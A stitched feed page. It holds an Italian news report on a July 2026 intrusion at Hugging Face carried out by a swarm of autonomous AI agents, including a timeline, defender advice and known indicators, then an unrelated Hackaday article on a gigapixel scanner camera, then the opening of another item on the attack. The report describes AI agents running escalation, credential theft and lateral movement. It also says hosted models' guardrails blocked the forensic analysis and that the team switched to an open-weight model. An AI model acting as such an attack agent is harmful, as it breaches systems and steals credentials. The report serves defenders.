Ma è qui che Hugging Face ha incontrato un ostacolo inatteso, e potenzialmente rilevante per ogni team di incident response che lavora con modelli commerciali “hosted”: i primi tentativi di analisi con modelli frontier dietro API commerciali sono falliti, perché le richieste — che necessariamente contenevano comandi di attacco reali, exploit payload e artefatti C2 — venivano bloccate dai guardrail di sicurezza dei provider, incapaci di distinguere un incident responder legittimo da un attaccante. La soluzione è stata spostare l’analisi forense su GLM 5.2, modello open-weight del laboratorio cinese Z.ai, eseguito sull’infrastruttura interna dell’azienda: un doppio vantaggio, perché ha sbloccato l’analisi e ha evitato che dati dell’attaccante e credenziali compromesse uscissero dal perimetro aziendale.

L’asimmetria che nessuno aveva pianificato


Hugging Face descrive questo come “un gap su cui vale la pena pianificare”: non si sa quale modello alimentasse gli agenti dell’attaccante — un modello hosted jailbreakato o uno open-weight senza restrizioni — ma in ogni caso l’attaccante non era vincolato da alcuna policy d’uso, mentre il lavoro forense legittimo dei difensori è stato bloccato proprio dai guardrail dei modelli hosted inizialmente scelti. La lezione pratica che l’azienda condivide con il settore: avere già pronto e validato, prima che scoppi un incidente, un modello capace eseguibile sulla propria infrastruttura, sia per evitare il lockout dei guardrail sia per mantenere dati e credenziali sensibili entro il proprio perimetro. Non è, precisano, un argomento contro le misure di sicurezza sui modelli hosted — è un feedback che l’azienda dice di aver già condiviso con i provider coinvolti.

Timeline dell’incidente


  • Settimana del 6 luglio 2026: rilevamento dell’intrusione nella pipeline di elaborazione dataset tramite anomaly-detection basata su LLM.
  • Weekend successivo al primo accesso: escalation di privilegi, raccolta di credenziali cloud/cluster, movimento laterale su più cluster interni condotto dallo sciame di agenti autonomi.
  • 16 luglio 2026: pubblicazione della disclosure ufficiale sul blog Hugging Face, con dettaglio tecnico del vettore e delle contromisure adottate.
  • Contestualmente: chiusura dei code-execution path usati come accesso iniziale, rotazione precauzionale di credenziali e token, rafforzamento degli admission control sui cluster, coinvolgimento di specialisti forensi esterni e notifica alle forze dell’ordine.


Due righe per i difensori


Questo incidente non è solo una curiosità tecnica: ridefinisce cosa significa “superficie di attacco” per qualunque piattaforma che elabora contenuti generati da utenti tramite pipeline automatizzate, AI o non AI.

  • Trattare ogni pipeline di data processing che esegue codice fornito dall’utente (loader personalizzati, plugin, configurazioni con logica di templating) come superficie di attacco di prima classe, non come funzionalità di prodotto neutra.
  • Validare in anticipo — prima di un incidente — un modello LLM eseguibile on-premise o in ambiente isolato per l’analisi forense, così da non dipendere da provider commerciali i cui guardrail possono bloccare legittime attività di incident response.
  • Assumere che attacchi “a sciame” con orchestrazione agentica possano operare a velocità e scala superiori a quelle di un operatore umano, e dimensionare di conseguenza i tempi di detection e risposta: Hugging Face cita l’obiettivo di allertare un responder “in pochi minuti, in qualsiasi giorno della settimana”.
  • Segmentare rigorosamente i processing worker dal resto del cluster e limitare il raggio d’azione di credenziali cloud raccolte da un singolo nodo compromesso, per contenere il movimento laterale anche quando l’accesso iniziale non può essere prevenuto al 100%.


Indicatori e dettagli tecnici noti

Target: infrastruttura di produzione Hugging Face (dataset processing pipeline)
Vettore iniziale: dataset malevolo caricato dall'utente
Tecniche di code execution: remote-code dataset loader + template injection in dataset config
Escalation: da worker compromesso a node-level access
Post-exploitation: raccolta credenziali cloud/cluster, movimento laterale multi-cluster
Durata campagna attiva: un intero weekend
Orchestrazione: framework di agenti autonomi, presumibile harness di security-research agentico
Infrastruttura C2: self-migrating, ospitata su servizi pubblici legittimi
Eventi registrati nel log dell'attaccante: 17.000+
Impatto confermato: accesso non autorizzato a dataset interni limitati e a credenziali di servizio
Impatto escluso: nessuna manomissione di modelli/dataset/Spaces pubblici; supply chain software verificata pulita
Strumento di analisi forense: GLM 5.2 (Z.ai, open-weight), eseguito su infrastruttura interna
Contatto per segnalazioni: security@huggingface.co

Hugging Face raccomanda a chi utilizza la piattaforma di ruotare i propri access token e rivedere l’attività recente sui rispettivi account. L’azienda ha inoltre chiarito di stare ancora completando la valutazione di eventuali impatti su dati di partner o clienti, con notifiche dirette previste per le parti coinvolte.
Questa voce è stata modificata (1 settimana fa)

Hackaday Europe 2026: Project Gigapixel


The media in this post is not displayed to visitors. To view it, please log in.

There was once a race to put out cameras with ever higher numbers of megapixels to snare customers eager to take the highest quality digital photos. These days, we know that things like optics, processing, and finer qualities of an image sensor are all very important beyond pure resolution. But, for a time, companies behaved as if megapixels mattered over all else.

But what if you could go farther—shooting not millions, but billions of pixels in a single image? That’s precisely what [Yannick Richter] came to Hackaday Europe to talk about, covering his Project Gigapixel build.

youtube.com/embed/QCPPfCFzw-o?…

More Pixels


When it comes to building a consumer camera with higher resolution, manufacturers achieve this by creating an image sensor with a greater number of sensing elements. This, of course, can get expensive and difficult the farther you want to scale, particularly if you’re trying to fit more sensing elements into a given standard sensor size.
A scanner sensor has great linear resolution. Pan one behind a high-quality lens, and you can capture images in super high resolution… just hope that nothing moves while you’re capturing a shot!
However, there are other ways to capture images in greater resolution that don’t require a larger image sensor. Namely, you can actually use quite a simple image sensor of limited resolution, and simply move it to various positions, capturing light all the while. Then, all you need to do is stitch the output together and you have a remarkably high resolution image. It might sound complicated, but as [Yannick] explains, it’s a perfectly cromulent way to build a gigapixel image.

[Yannick’s] project began with an old Epson flatbed scanner. This made the perfect donor for such a project, as it came with a linear image sensor with quite good resolution for scanning photographs and documents. The only problem is that it needs to move in a straight path in order to capture a full image. The goal was to build it into a scanner-style camera that was truly portable, which required some reverse engineering and creative design to make it into a practical tool for real-world photography. [Yannick] didn’t want to just stuff the existing scanner in a bodged-together camera body, either. He wanted to interface the sensor directly and build a custom linear-scanning camera from the ground up, with the high-resolution linear sensor mounted behind a nice medium-format Pentax lens.

[Yannick] lashed up a Raspberry Pi to read from the sensor.The key was that the scanner in question—an Epson V370—used a Sony CCD scanning element, rather than a cheaper CIS element. A proper CCD sensor is more expensive, but produces better output, and is more suitable for the sort of imaging [Yannick] was trying to do with this build. Namely, by running the scanning element behind a medium format lens to capture incredibly high-resolution images at up to 40800 x 80000 pixels, or 3.2 gigapixels if you multiply it out.

The talk covers all the work that [Yannick] did to make this a fully functional camera. That included doing a deep dive into Epson documentation to figure out how to interface the sensor at all. Thankfully, service manuals provided enough detail on how the 12-line RGB sensor works to get the project over the line. Interfacing the sensor was achieved via reusing the ADC and timing generation hardware from the scanner itself, hooked up to a Raspberry Pi 5 and a RP2350.

Plenty of work was required to figure out how to properly offset all the R, G, and B pixels to line up properly into a coherent color image. [Yannick] also dives into the mechanical design, regarding how the sensor was assembled on a 100-millimeter linear drive to scan it behind the lens assembly to capture images. There were also issues generating a live preview that you’d get on any other digital camera, which is not exactly practical to generate from a scanning image sensor. Instead, a standard Raspberry Pi camera was included in the build for live preview to help with lining up a shot.
The camera is capable of taking incredibly high resolution images with rich detail. Of course, image sizes are hefty in turn.
Perhaps the best part of the talk is when [Yannick] shows off the final results. The simple fact is that 3.2 gigapixel images capture a ton of detail when they’re taken well and focused correctly. A simple shot of some benchtop instruments doesn’t look like anything special, until [Yannick] shows that cropping in will let you read the codes off a 0603 SMD resistor. Obviously, the camera is limited when it comes to speed and it can’t really capture moving objects well. However, when it comes to grabbing very high resolution shots of still scenes, it’s a great performer. If taking gorgeously detailed landscapes or stunning architectural shots is your thing, you might find such a build an appealing proposition for your own needs.


hackaday.com/2026/07/20/hackad…

Attacco ad Hugging Face: gli Agent AI diventano parte attiva della catena offensiva, come proteggersi


@Informatica (Italy e non Italy)
La scorsa settimana un agente di AI autonomo ha violato parte dell'infrastruttura di produzione di Hugging Face. L’azienda di AI open source ha rilevato l’intrusione, contenendola e riscontrando accessi non